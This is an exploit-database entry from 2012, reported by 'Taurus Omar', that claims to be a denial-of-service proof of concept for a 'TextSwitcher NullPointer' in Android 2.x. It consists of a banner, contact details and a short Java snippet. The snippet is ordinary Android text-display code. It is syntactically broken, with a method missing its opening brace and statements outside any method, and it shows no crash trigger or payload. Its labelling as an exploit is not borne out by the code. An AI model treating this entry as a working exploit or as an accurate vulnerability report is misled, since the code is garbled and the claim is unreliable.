Android Mobile 2.x.xx - TextSwitcher NullPointer

2012-09-26T00:00:00
ID 1337DAY-ID-19475
Type zdt
Reporter Taurus Omar
Modified 2012-09-26T00:00:00

Description

Exploit for hardware platform in category dos / poc

                                        
                                            1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0      _                   __           __       __                      1
1    /' \            __  /'__`\        /\ \__  /'__`\                    0
0   /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___            1
1   \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\           0
0      \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/            1
1       \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\            0
0        \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/            1
1                   \ \____/ >> Exploit database separated by exploit    0
0                    \/___/          type (local, remote, DoS, etc.)     1
1                                                                        1
0   [x] Official Website: http://www.1337day.com                         0
1   [x] Support E-mail  : mr.inj3ct0r[at]gmail[dot]com                   1
0                                                                        0
1               ==========================================               1
0               I'm Taurus Omar Member From Inj3ct0r TEAM                1
1               ==========================================               0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-1
|                                                                        |
|             Android Mobile 2.x.xx  - TextSwitcher NullPointer          |     
--------------------------------------------------------------------------

+----------------| ABOUT ME |--------------------+
NAME:     TAURUS OMAR                            -
HOME:     ACCESOILEGAL.BLOGSPOT.COM              -
TWITTER:  @taurusomar_                           -
E-MAIL:   omar-taurus[at]dragonsecurity[dot]org  -
E-MAIL:   omar-taurus[at]live[dot]com            -
PWNED:    #ZUUU                                  -
+------------------------------------------------+ 

# Exploit Title: Android Mobile 2.x.xx  - TextSwitcher NullPointer 
# Vendor Name: Android
# Url Vendor: http://wwww.android.com/
# Category:: Doc/Pocs
# Tested on: Android  
# Type: Hardware - Android 

        this.screen = (TextSwitcher)act.findViewById(R.id.textspaceview);
        this.screen.setFactory(new TextFactory(ctx, Util.isLongScreen(ctx) ? R.style.AccFont : R.style.HVGAFont));
        this.screen.setInAnimation(android.view.animation.AnimationUtils.loadAnimation(ctx,  android.R.anim.fade_in));
        this.screen.setOutAnimation(android.view.animation.AnimationUtils.loadAnimation(ctx, android.R.anim.fade_out));
     
     
    public void setScreenText(final CharSequence text)
            mHandler.removeCallbacks(mUpdateTimeTask); 
            screen.setText(text);
            screen.post(new Runnable() {
                public void run() {  
                    screen.scrollTo(0, 0);  
                }
            });
        }
    }



#  0day.today [2018-02-06]  #